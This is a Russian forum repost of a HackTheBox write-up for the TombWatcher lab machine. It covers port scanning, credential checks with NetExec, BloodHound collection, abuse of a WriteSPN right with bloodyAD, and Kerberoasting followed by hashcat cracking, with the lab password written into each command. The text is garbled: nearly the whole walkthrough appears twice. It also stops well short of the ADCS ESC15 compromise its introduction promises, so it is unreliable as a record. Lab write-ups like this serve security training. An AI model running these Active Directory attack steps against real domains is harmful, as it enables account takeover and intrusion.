- Регистрация
- 9 Май 2015
- Сообщения
- 1,549
- Баллы
- 155
В этом райтапе я расскажу, как эксплуатировать цепочку разрешений DACL для продвижения в домене. Затем восстановим из корзины Active Directory удаленный объект и используем технику ADCS ESC15 для компрометации домена.
Наша цель — получение прав суперпользователя на машине TombWatcher с учебной площадки . Уровень сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.72 tombwatcher.htb
Помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.
Информация о машине
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
Теперь проверим выданные учетные данные.
nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!'
Результат проверки учетных данных
Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.
nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' --users
Список пользователей
Сохраняем список пользователей в файл на будущее, после чего собираем базу BloodHound.
Справка: BloodHound
Утилита использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы BloodHound будем использовать . Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -i 10.10.11.72 -c All -z
Логи RustHound
Данные появятся очень быстро. Скачиваем итоговый архив и строим граф от пользователя henry.
Граф BloodHound
Теперь пройдем по всему пути для получения сессии пользователя john на сервере.
Продвижение
Учетная запись henry имеет право WriteSPN на учетную запись alfred. Это право позволяет изменить значение атрибута servicePrincipalName и затем произвести атаку Kerberoasting. Записать рандомное значение в атрибут можно с помощью .
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object 'ALFRED' servicePrincipalName -v 'test/DC01.tombwatcher.htb'
Запись в атрибут servicePrincipalName
Теперь с помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи alfred.
faketime -f '+4h' nxc ldap 10.10.11.72 -d 'tombwatcher.htb' -u henry -p 'H3nry_987TGV!' --kerberoasting out.txt
Результат Kerberoasting
Полученный хеш легко брутится утилитой hashcat. Так компрометируем учетную запись alfred.
hashcat -m 13100 hash.txt rockyou.txt
Результат подбора пароля
Наша цель — получение прав суперпользователя на машине TombWatcher с учебной площадки . Уровень сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.72 tombwatcher.htb
Помимо IP-адреса машины, нам предоставляют учетные данные с правами пользователя домена.
Информация о машине
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — WinRM;
- 9389 — веб‑службы AD DS.
Теперь проверим выданные учетные данные.
nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!'
Результат проверки учетных данных
Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.
nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' --users
Список пользователей
Сохраняем список пользователей в файл на будущее, после чего собираем базу BloodHound.
Справка: BloodHound
Утилита использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы BloodHound будем использовать . Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -i 10.10.11.72 -c All -z
Логи RustHound
Данные появятся очень быстро. Скачиваем итоговый архив и строим граф от пользователя henry.
Граф BloodHound
Теперь пройдем по всему пути для получения сессии пользователя john на сервере.
Продвижение
Учетная запись henry имеет право WriteSPN на учетную запись alfred. Это право позволяет изменить значение атрибута servicePrincipalName и затем произвести атаку Kerberoasting. Записать рандомное значение в атрибут можно с помощью .
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object 'ALFRED' servicePrincipalName -v 'test/DC01.tombwatcher.htb'
Запись в атрибут servicePrincipalName
Теперь с помощью NetExec проводим атаку Kerberoasting и получаем хеш пароля учетной записи alfred.
faketime -f '+4h' nxc ldap 10.10.11.72 -d 'tombwatcher.htb' -u henry -p 'H3nry_987TGV!' --kerberoasting out.txt
Результат Kerberoasting
Полученный хеш легко брутится утилитой hashcat. Так компрометируем учетную запись alfred.
hashcat -m 13100 hash.txt rockyou.txt
Результат подбора пароля
Источник: